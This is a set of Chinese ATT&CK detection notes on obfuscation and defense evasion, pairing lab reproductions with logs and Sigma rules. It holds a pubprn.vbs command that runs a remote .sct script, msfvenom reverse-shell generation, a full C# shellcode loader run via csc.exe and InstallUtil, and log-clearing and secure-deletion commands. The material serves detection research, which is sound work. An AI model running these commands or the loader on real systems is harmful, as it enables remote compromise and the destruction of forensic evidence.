jack>"C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs" 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct ``` **结果**: - 在安装360终端管理软件的环境中,执行被拦截并提示,因安全软件检测到异常网络请求或脚本执行行为。 - 在无防护软件的环境中,命令可能成功触发远程`.sct`脚本的执行。 **环境配置**: - 需启用组策略:`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 或者部署Sysmon以记录详细的进程创建事件。 ## 测试留痕 ### Windows安全日志(Event ID 4688:进程创建) ```xml 事件ID: 4688 EventData SubjectUserSid: S-1-5-21-3061901842-4133171524-864420058-1000 SubjectUserName: ma jack SubjectDomainName: DESKTOP-NJ1U3F5 SubjectLogonId: 0x3e2c5 NewProcessId: 0x1378 NewProcessName: C:\Windows\System32\wscript.exe TokenElevationType: %%1938 ProcessId: 0x14d0 CommandLine: "C:\Windows\System32\WScript.exe" "C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs" 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct TargetUserSid: S-1-0-0 TargetUserName: - TargetDomainName: - TargetLogonId: 0x0 ParentProcessName: C:\Windows\System32\cmd.exe MandatoryLabel: S-1-16-8192 ``` **分析**: - 日志记录了`wscript.exe`执行`pubprn.vbs`,命令行参数包含远程`.sct`脚本URL。 - 父进程为`cmd.exe`,表明通过命令提示符触发。 - 远程URL的存在是可疑行为,可能指向恶意脚本。 ## 检测规则/思路 ### Sigma规则 ```yaml title: 使用pubprn.vbs下载执行Payload description: Detects execution of pubprn.vbs, a Microsoft-signed WSH script, used to parse and execute remote .sct scripts. status: experimental tags: - attack.defense_evasion - attack.t1027 logsource: category: process_creation product: windows detection: selection: EventID: 1 Image|endswith: '\wscript.exe' CommandLine|contains: '\pubprn.vbs' condition: selection fields: - Image - CommandLine - ParentImage - User falsepositives: - Legitimate use of pubprn.vbs for printer administration level: high ``` **规则说明**: - 检测`wscript.exe`执行`pubprn.vbs`的进程创建事件(Sysmon Event ID 1)。 - 规则关注命令行中包含`pubprn.vbs`,特别是结合远程URL的调用。 - 规则为实验性,需测试以减少合法打印机管理操作的误报。 ### 建议 1. **监控pubprn.vbs执行**: - 使用Sysmon(Event ID 1)捕获`wscript.exe`运行`pubprn.vbs`的事件,检查命令行是否包含`script:`或远程URL。 - 关注非打印机管理场景下的`pubprn.vbs`调用。 2. **检测网络请求**: - 监控`wscript.exe`发起的网络连接,特别是访问外部URL(如`.sct`文件)。 - 使用网络监控工具(如Wireshark)分析HTTP/HTTPS流量。 3. **启用详细日志**: - 配置Sysmon记录进程创建(Event ID 1)和网络连接(Event ID 3)。 - 启用Windows安全日志的进程跟踪(Event ID 4688),确保记录命令行参数。 4. **部署SIEM系统**: - 使用SIEM工具(如Splunk、Elastic)分析Sysmon和安全日志,检测`pubprn.vbs`相关异常行为。 - 设置告警规则,针对`pubprn.vbs`结合远程URL的执行。 5. **限制白名单工具滥用**: - 使用AppLocker或组策略限制`pubprn.vbs`和`wscript.exe`的执行,仅允许在特定管理场景下运行。 - 监控非管理员用户运行`pubprn.vbs`的行为。 6. **测试与验证**: - 在测试环境中模拟`pubprn.vbs`执行远程`.sct`脚本,验证检测规则有效性。 - 调整规则阈值,排除合法打印机管理操作的误报。 ## 参考推荐 - MITRE ATT&CK T1027 - 渗透测试笔记 - Enigma0x3的测试.sct脚本 ================================================ FILE: Windows/07逃避防御/T1027.003-Win-Ping Hex IP.md ================================================ # T1027.003-Win-Ping Hex IP ## 描述 攻击者可能通过加密、编码或其他方式混淆可执行文件或系统中传输的内容,以规避检测和分析。这种行为在多个平台和网络中常见,旨在隐藏恶意活动。 有效载荷可能被压缩、存档或加密,以避免被安全工具检测到。这些有效载荷可能在初始访问阶段或后续活动中使用。某些情况下,用户需要执行特定操作(如打开文件或输入密码)以解码或解密受保护的压缩/加密文件。攻击者还可能使用脚本(如JavaScript)进行混淆。 此外,攻击者可能对文件的部分内容进行编码以隐藏明文字符串,或将有效载荷拆分为多个看似无害的文件,仅在重组后显示恶意功能。命令行界面执行的命令也可能通过环境变量、别名或特定语义进行混淆,以绕过基于签名的检测和白名单机制。 具体到本技术(T1027.003),攻击者可能使用十六进制编码的IP地址执行网络命令(如`ping`),以掩盖真实目标地址,增加检测难度。 ## 测试案例 ### 测试1:使用十六进制编码的IP地址执行Ping命令 攻击者通过将目标IP地址编码为十六进制格式,执行`ping`命令以探测主机,从而隐藏真实目标地址,规避基于字符串匹配的检测。 **攻击命令**(在命令提示符或PowerShell中运行): ```cmd ping 0x7F000001 ``` **说明**: - `0x7F000001`为IP地址`127.0.0.1`的十六进制表示,用于本地回环地址的探测。 - 此技术可用于探测任意IP地址,只需将目标IP转换为十六进制格式。 ## 检测日志 - **Windows安全日志**:可能记录`ping.exe`的执行事件(需启用进程创建审核)。 - **Sysmon日志**:通过Sysmon的进程创建事件(Event ID 1)捕获`ping`命令的执行及其参数。 ## 测试复现 ### 测试1:Ping十六进制IP地址 在Windows Server 2012及以上版本中复现: ```cmd C:\> ping 0x7F000001 Pinging 127.0.0.1 with 32 bytes of data: Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 Ping statistics for 127.0.0.1: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 0ms, Average = 0ms ``` ![Ping复现](https://i.postimg.cc/SKRFh1KT/1.png) **说明**: - 命令成功执行,表明Windows解析了十六进制IP地址`0x7F000001`为`127.0.0.1`并完成探测。 - 输出与直接使用`ping 127.0.0.1`一致,但命令行参数使用了混淆形式。 ## 日志留痕 ### Sysmon日志(Event ID 1:进程创建) ![Ping日志](https://i.postimg.cc/bNh7JwJ2/ping2.png) **示例日志**(基于Sysmon Event ID 1): ```xml 日志名称: Microsoft-Windows-Sysmon/Operational 来源: Microsoft-Windows-Sysmon 日期: 2023/10/01 10:00:00 事件 ID: 1 任务类别: Process Create (rule: ProcessCreate) 级别: 信息 用户: QAX\Administrator 计算机: hostname.qax.com 描述: Process Create: RuleName: technique_id=T1027.003,technique_name=Obfuscated Files or Information UtcTime: 2023-10-01 02:00:00.123 ProcessGuid: {12345678-1234-5678-1234-567890123456} ProcessId: 1234 Image: C:\Windows\System32\PING.EXE CommandLine: ping 0x7F000001 CurrentDirectory: C:\Users\Administrator User: QAX\Administrator LogonGuid: {12345678-1234-5678-1234-567890123457} LogonId: 0x123456 TerminalSessionId: 1 IntegrityLevel: Medium Hashes: SHA1=...,MD5=...,SHA256=... ParentProcessGuid: {12345678-1234-5678-1234-567890123458} ParentProcessId: 5678 ParentImage: C:\Windows\System32\cmd.exe ParentCommandLine: cmd.exe ParentUser: QAX\Administrator ``` **分析**: - Sysmon记录了`ping.exe`的执行及其命令行参数`0x7F000001`,表明使用了十六进制编码的IP地址。 - 日志未直接解析十六进制IP为标准格式,需结合规则进行检测。 ## 检测规则/思路 ### Sigma规则 ```yaml title: Ping Hex IP description: Detects execution of ping commands using hexadecimal-encoded IP addresses, indicating potential obfuscation attempts. references: - https://github.com/Neo23x0/sigma/blob/master/rules/windows/process_creation/win_susp_ping_hex_ip.yml status: experimental author: 12306Bro date: 2023/10/01 logsource: product: windows service: sysmon detection: selection: EventID: 1 Image|endswith: '\ping.exe' CommandLine|contains: - ' 0x' condition: selection fields: - Image - CommandLine - User falsepositives: - Legitimate use of hexadecimal IP addresses in network diagnostics level: high ``` **规则说明**: - 检测`ping.exe`执行时命令行参数包含`0x`的进程创建事件,表明可能使用了十六进制编码的IP地址。 - 规则为实验性,需在实际环境中测试以减少误报(如合法网络诊断工具)。 ### 建议 1. **监控命令行参数**: - 使用Sysmon(Event ID 1)捕获`ping.exe`的执行,重点检查命令行参数是否包含`0x`等十六进制模式。 - 扩展检测至其他网络工具(如`tracert`、`netcat`)的类似行为。 2. **启用详细日志**: - 配置Sysmon记录进程创建事件,确保包含完整的命令行参数。 - 启用Windows安全日志的进程跟踪(Event ID 4688),捕获`ping.exe`相关活动。 3. **部署SIEM系统**: - 使用SIEM工具(如Splunk、Elastic)分析Sysmon和安全日志,检测十六进制IP地址的异常使用。 - 设置告警规则,针对短时间内多次执行`ping 0x*`的行为。 4. **解析十六进制IP**: - 在SIEM或脚本中加入IP地址解析逻辑,将`0x`格式的IP转换为标准点分十进制格式,便于关联分析。 - 参考工具: 5. **测试与验证**: - 在测试环境中模拟十六进制IP的`ping`命令,验证检测规则的有效性。 - 调整规则阈值,排除合法网络诊断场景的误报。 ## 参考推荐 - MITRE ATT&CK T1027.003 - Sigma规则:win_susp_ping_hex_ip - IP地址进制转换工具 ================================================ FILE: Windows/07逃避防御/T1027.004-Win-传输后编译csc.exe(白名单).md ================================================ # T1027.004-Win-传输后编译 ## 描述 攻击者可能通过将恶意代码以未编译的源代码形式传输至目标系统,使其难以被检测和分析,从而绕过针对可执行文件的防护措施。这些源代码文件通常需要通过本地工具(如`csc.exe`或GCC/MinGW)进行编译才能执行。 源代码有效载荷可能被加密、编码或嵌入其他文件中,例如通过钓鱼附件传输。某些情况下,攻击者可能要求用户手动触发编译或执行操作。此外,有效载荷可能以目标操作系统无法直接识别的格式提供(例如,macOS/Linux上的EXE文件),然后通过捆绑的编译器或执行框架(如Mono)重新编译为可执行二进制文件。 通过这种方式,攻击者能够规避基于签名的检测机制,增加恶意代码的隐蔽性。 ## 测试案例 ### 测试1:使用csc.exe编译C#源代码 `csc.exe`是Microsoft .NET Framework中的C#语言编译器。攻击者可通过`csc.exe`将源代码文件编译为可执行文件(如`.exe`),从而实现恶意功能。 **攻击命令**(在命令提示符或PowerShell中运行): ```cmd C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:#{output_file} #{input_file} ``` **示例**: - `output_file`: `C:\Users\zhuli\Desktop\calc.exe` - `input_file`: `C:\Users\zhuli\Desktop\calc.cs` ## 检测日志 - **Windows安全日志**:记录进程创建事件(Event ID 4688,需启用进程跟踪审核)。 - **Sysmon日志**:记录进程创建事件(Event ID 1)及相关命令行参数。 ## 测试复现 ### 测试1:使用csc.exe编译C#源代码 以下为在Windows环境中的复现过程: ```cmd C:\Users\zhuli>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1027.004\src\calc.exe C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1027.004\src\calc.cs Microsoft (R) Visual C# Compiler version 4.8.3761.0 for C# 5 Copyright (C) Microsoft Corporation. All rights reserved. This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240 ``` **说明**: - 命令成功将`calc.cs`编译为`calc.exe`,表明`csc.exe`被用于生成可执行文件。 - 输出显示编译器版本信息,确认操作完成。 ## 日志留痕 ### Sysmon日志(Event ID 1:进程创建) ```xml 日志名称: Microsoft-Windows-Sysmon/Operational 来源: Microsoft-Windows-Sysmon 日期: 2022/1/9 20:47:06 事件 ID: 1 任务类别: Process Create (rule: ProcessCreate) 级别: 信息 关键字: 用户: SYSTEM 计算机: zhuli.qax.com 描述: Process Create: RuleName: technique_id=T1059,technique_name=Command-Line Interface UtcTime: 2022-01-09 12:47:06.034 ProcessGuid: {78c84c47-d94a-61da-9908-000000000800} ProcessId: 5264 Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe FileVersion: 4.8.3761.0 built by: NET48REL1 Description: Visual C# Command Line Compiler Product: Microsoft® .NET Framework Company: Microsoft Corporation OriginalFileName: csc.exe CommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1027.004\src\calc.exe C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1027.004\src\calc.cs CurrentDirectory: C:\Users\zhuli\ User: QAX\zhuli LogonGuid: {78c84c47-3b57-61d8-525f-090000000000} LogonId: 0x95F52 TerminalSessionId: 1 IntegrityLevel: Medium Hashes: SHA1=93CF877F5627E55EC076A656E935042FAC39950E,MD5=23EE3D381CFE3B9F6229483E2CE2F9E1,SHA256=4240A12E0B246C9D69AF1F697488FE7DA1B497DF20F4A6F95135B4D5FE180A57,IMPHASH=EE1E569AD02AA1F7AECA80AC0601D80D ParentProcessGuid: {78c84c47-d947-61da-9708-000000000800} ParentProcessId: 4340 ParentImage: C:\Windows\System32\cmd.exe ParentCommandLine: "C:\Windows\system32\cmd.exe" ParentUser: QAX\zhuli ``` **分析**: - 日志记录了`csc.exe`的执行,包括完整的命令行参数,表明编译了`calc.cs`为`calc.exe`。 - 父进程为`cmd.exe`,提示可能通过命令提示符触发。 ## 检测规则/思路 ### Sigma规则 ```yaml title: 使用CSC.EXE对代码进行编译 description: Detects execution of csc.exe to compile C# source code, indicating potential compile-after-delivery behavior. status: experimental author: 12306Br0 date: 2022/01/09 references: - https://attack.mitre.org/techniques/T1027/004/ logsource: product: windows service: sysmon detection: selection: EventID: 1 Image|endswith: '\csc.exe' CommandLine|contains: '/out:' condition: selection fields: - Image - CommandLine - User falsepositives: - Legitimate software development activities - Administrative scripts compiling code level: low ``` **规则说明**: - 检测`csc.exe`的进程创建事件(Event ID 1),且命令行参数包含`/out:`,表明正在编译源代码。 - 规则为实验性,需在环境中测试以减少合法开发活动导致的误报。 ### 建议 1. **监控编译器执行**: - 监视`csc.exe`、`msbuild.exe`、GCC/MinGW等编译器的执行路径和命令行参数。 - 关注非开发环境(如普通用户工作站)中的编译行为。 2. **检测文件创建事件**: - 监控编译生成的可执行文件(如`.exe`)的文件创建或写入事件(Sysmon Event ID 11)。 - 检查输出文件路径是否为用户可写目录(如`%APPDATA%`、`%TEMP%`)。 3. **识别跨平台编译器**: - 检测系统中是否存在非预期的跨平台编译器或框架(如Mono),验证其合法用途。 - 限制非开发系统上此类工具的安装和运行。 4. **启用详细日志**: - 配置Sysmon记录进程创建(Event ID 1)和文件操作(Event ID 11)。 - 启用Windows安全日志的进程跟踪(Event ID 4688),捕获`csc.exe`执行。 5. **部署SIEM系统**: - 使用SIEM工具(如Splunk、Elastic)分析Sysmon和安全日志,检测异常编译行为。 - 设置告警规则,针对非开发用户或系统运行`csc.exe`的行为。 6. **测试与验证**: - 在测试环境中模拟源代码编译行为,验证检测规则有效性。 - 调整规则阈值,排除合法开发场景的误报。 ## 参考推荐 - MITRE ATT&CK T1027.004 - 跟着ATT&CK学安全之defense-evasion ================================================ FILE: Windows/07逃避防御/T1027.004-Win-使用Csc.exe执行payload(白名单).md ================================================ # T1027.004-Win-使用Csc.exe执行Payload(白名单) ## 描述 攻击者可能利用合法的软件开发工具(如`csc.exe`)执行恶意代码,以规避应用白名单防御机制。这些工具通常由可信证书签名,允许在系统中以合法身份运行。通过将恶意代码嵌入C#源代码并使用`csc.exe`编译,攻击者能够在目标系统上生成并执行恶意可执行文件,从而绕过基于签名的检测和白名单限制。 ## 测试案例 ### 测试1:使用Csc.exe编译并执行恶意C# Payload `csc.exe`是Microsoft .NET Framework中的C#编译器,通常位于`C:\Windows\Microsoft.NET\Framework[64]\\csc.exe`。攻击者可通过`csc.exe`将恶意C#源代码编译为可执行文件或DLL,并结合`InstallUtil.exe`执行以加载恶意代码。 **说明**: - 默认情况下,`csc.exe`所在路径未添加到系统`PATH`环境变量,因此需指定完整路径运行。 - 在高版本Windows(如Windows 10/11、Server 2016+)中,可通过组策略启用进程命令行参数记录以增强监控。 **组策略配置**: - 路径:`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用` - 或者,部署Sysmon以记录详细的进程创建事件。 **默认路径**(以Windows 7为例): - 32位:`C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe` - 64位:`C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe` ## 检测日志 - **Windows安全日志**:通过Event ID 4688(进程创建)记录`csc.exe`和`InstallUtil.exe`的执行(需启用进程跟踪审核)。 - **Sysmon日志**:通过Event ID 1(进程创建)捕获详细的命令行参数和父进程信息。 ## 测试复现 ### 环境准备 - **攻击机**:Kali 2019 - **靶机**:Windows Server 2012 ### 测试过程 #### 1. 生成Payload 使用Metasploit生成C#格式的恶意shellcode(反向TCP Shell): ```bash msfvenom -p windows/x64/shell/reverse_tcp lhost=192.168.126.146 lport=4444 -f csharp ``` 将生成的shellcode复制到以下C#源代码(`Micropoor_Csc.cs`)中: ```csharp using System; using System.Net; using System.Diagnostics; using System.Reflection; using System.Configuration.Install; using System.Runtime.InteropServices; // msfvenom -p windows/x64/shell/reverse_tcp lhost=192.168.126.146 lport=4444 -f csharp public class Program { public static void Main() { } } [System.ComponentModel.RunInstaller(true)] public class Sample : System.Configuration.Install.Installer { public override void Uninstall(System.Collections.IDictionary savedState) { Shellcode.Exec(); } } public class Shellcode { public static void Exec() { byte[] shellcode = new byte[510] { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, 0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b, 0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b, 0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41, 0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1, 0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45, 0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b, 0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01, 0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48, 0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9, 0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00, 0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5, 0x49,0xbc,0x02,0x00,0x11,0x5c,0xc0,0xa8,0x7e,0x92,0x41,0x54,0x49,0x89,0xe4, 0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68, 0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a, 0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89, 0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5, 0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba, 0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xe5, 0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9, 0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5, 0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41, 0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41, 0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31, 0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8, 0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40, 0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5, 0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c, 0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41, 0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 }; UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); IntPtr hThread = IntPtr.Zero; UInt32 threadId = 0; IntPtr pinfo = IntPtr.Zero; hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); WaitForSingleObject(hThread, 0xFFFFFFFF); } private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32")] private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, UInt32 dwFreeType); [DllImport("kernel32")] private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId); [DllImport("kernel32")] private static extern bool CloseHandle(IntPtr handle); [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); [DllImport("kernel32")] private static extern IntPtr GetModuleHandle(string moduleName); [DllImport("kernel32")] private static extern UInt32 GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] private static extern UInt32 LoadLibrary(string lpFileName); [DllImport("kernel32")] private static extern UInt32 GetLastError(); } ``` #### 2. 靶机执行 在Windows Server 2012上执行以下命令: ```cmd C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:1.exe /platform:x64 /unsafe C:\Users\Administrator\Desktop\a\1.cs C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\Administrator\Desktop\a\1.exe ``` **结果**: - 编译命令生成`1.exe`(DLL格式)。 - `InstallUtil.exe`以卸载模式(`/U`)运行,触发`Uninstall`方法执行shellcode。 - 测试未成功建立反向会话,可能因网络配置或防御机制拦截,需进一步调试。 ## 测试留痕 ### Windows安全日志(Event ID 4688:进程创建) ```xml 事件ID: 4688 进程信息: 新进程 ID: 0xa9c 新进程名称: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 令牌提升类型: TokenElevationTypeDefault (1) 创建者进程 ID: 0xaa0 进程命令行: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:1.exe /platform:x64 /unsafe C:\Users\Administrator\Desktop\a\1.cs 事件ID: 4688 进程信息: 新进程 ID: 0x984 新进程名称: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe 令牌提升类型: TokenElevationTypeDefault (1) 创建者进程 ID: 0xaa0 进程命令行: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\Administrator\Desktop\a\1.exe ``` **分析**: - 日志记录了`csc.exe`和`InstallUtil.exe`的执行,包含完整的命令行参数。 - `csc.exe`的命令行显示了编译参数(如`/target:library`、`/unsafe`),表明生成了DLL。 - `InstallUtil.exe`的`/U`参数触发了恶意代码执行。 ## 检测规则/思路 ### Sigma规则 ```yaml title: Suspicious Parent of Csc.exe or InstallUtil.exe description: Detects suspicious execution of csc.exe or InstallUtil.exe, potentially indicating payload compilation and execution. references: - https://twitter.com/SBousseaden/status/1094924091256176641 - https://attack.mitre.org/techniques/T1027/004/ tags: - attack.defense_evasion - attack.t1027.004 logsource: category: process_creation product: windows detection: selection_csc: EventID: 1 Image|endswith: '\csc.exe' CommandLine|contains: '/out:' selection_installutil: EventID: 1 Image|endswith: '\InstallUtil.exe' CommandLine|contains: - '/U ' - '/logfile=' selection_parent: ParentImage|endswith: - '\wscript.exe' - '\cscript.exe' - '\mshta.exe' condition: (selection_csc or selection_installutil) and selection_parent fields: - Image - CommandLine - ParentImage - User falsepositives: - Legitimate software development activities - Administrative scripts compiling code level: high ``` **规则说明**: - 检测`csc.exe`(编译C#代码)或`InstallUtil.exe`(执行DLL)的进程创建事件,结合可疑父进程(如`wscript.exe`、`cscript.exe`、`mshta.exe`)。 - 规则为实验性,需测试以减少合法开发行为的误报。 ### 建议 1. **监控编译器和执行工具**: - 关注`csc.exe`和`InstallUtil.exe`的执行,检查命令行参数是否包含`/out:`(编译输出)或`/U`(卸载模式)。 - 验证父进程是否为非典型的脚本解释器(如`wscript.exe`、`mshta.exe`)。 2. **启用详细日志**: - 配置Sysmon记录进程创建(Event ID 1)和文件创建(Event ID 11),捕获`csc.exe`生成的可执行文件。 - 启用Windows安全日志的进程跟踪(Event ID 4688),确保记录命令行参数。 3. **检测文件创建**: - 监控用户目录(如`%APPDATA%`、`%TEMP%`)中生成的`.exe`或`.dll`文件。 - 检查与`csc.exe`或`InstallUtil.exe`相关的文件写入事件。 4. **部署SIEM系统**: - 使用SIEM工具(如Splunk、Elastic)分析Sysmon和安全日志,检测异常的编译和执行行为。 - 设置告警规则,针对非开发环境中的`csc.exe`或`InstallUtil.exe`执行。 5. **限制白名单工具滥用**: - 使用AppLocker或组策略限制`csc.exe`和`InstallUtil.exe`的执行,仅允许在开发环境中运行。 - 监控非开发用户(如普通用户账户)运行这些工具的行为。 6. **测试与验证**: - 在测试环境中模拟恶意C#代码编译和执行,验证检测规则有效性。 - 调整规则阈值,排除合法开发场景的误报。 ## 参考推荐 - MITRE ATT&CK T1027.004 - 基于白名单Csc.exe执行Payload第七季 - Twitter:Suspicious Csc.exe Behavior ================================================ FILE: Windows/07逃避防御/T1027.005-Win-SDelete删除文件.md ================================================ # T1027.005-Win-SDelete删除文件 ## 描述 攻击者可能通过删除或修改主机系统上的生成物(如日志、隔离的恶意软件文件等)来隐藏其活动痕迹。系统日志的存储位置和格式因平台而异,例如Windows事件日志、Linux/MacOS的Bash历史记录或`/var/log/*`文件。清除这些日志或文件可能破坏安全解决方案的完整性,导致入侵活动无法被检测,同时增加取证分析和事件响应的难度。 具体到Windows环境,攻击者可能通过清除事件日志(如系统、应用程序、安全日志)来掩盖账号管理、登录或目录服务访问等操作的痕迹。清除日志的常用方法包括: - 使用`wevtutil`命令(如`wevtutil cl system`、`wevtutil cl security`)。 - 使用PowerShell或其他脚本工具。 此外,攻击者可能使用专门的工具(如SDelete)安全删除文件,以防止文件内容被恢复,从而进一步规避检测。 ## 测试案例 ### 测试1:使用SDelete安全删除文件 SDelete是Sysinternals套件中的命令行工具,支持多种选项,可用于安全删除文件、目录或清理逻辑磁盘的可用空间。SDelete通过覆盖文件内容(如使用随机数据或零填充)确保文件无法恢复,并支持通配符匹配。 **攻击命令**(在命令提示符中运行): ```cmd sdelete64.exe -s ``` **示例**: - 删除指定文件:`sdelete64.exe -s SDelete.zip` - 使用通配符:`sdelete64.exe -s *.txt` - 清理磁盘空闲空间:`sdelete64.exe -c C:` ## 检测日志 - **Windows安全日志**:记录文件访问和删除操作(Event ID 4663、4656、4658,需启用对象访问审核)。 - **Sysmon日志**:可能记录SDelete的进程创建(Event ID 1)或文件操作(Event ID 11)。 ## 测试复现 ### 测试1:使用SDelete删除文件 #### 1. 下载SDelete 下载地址: #### 2. 执行删除操作 在Windows环境中运行以下命令: ```cmd C:\Users\12306Br0\Desktop\SDelete>sdelete64.exe -s SDelete.zip SDelete v2.02 - Secure file delete Copyright (C) 1999-2018 Mark Russinovich Sysinternals - www.sysinternals.com SDelete is set for 1 pass. No files/folders found that match SDelete.zip. ``` **说明**: - 命令尝试删除`SDelete.zip`,但输出显示未找到匹配文件,可能是文件路径错误或文件不存在。 - SDelete默认使用1次覆盖(`-s`表示子目录,需正确指定目标文件)。 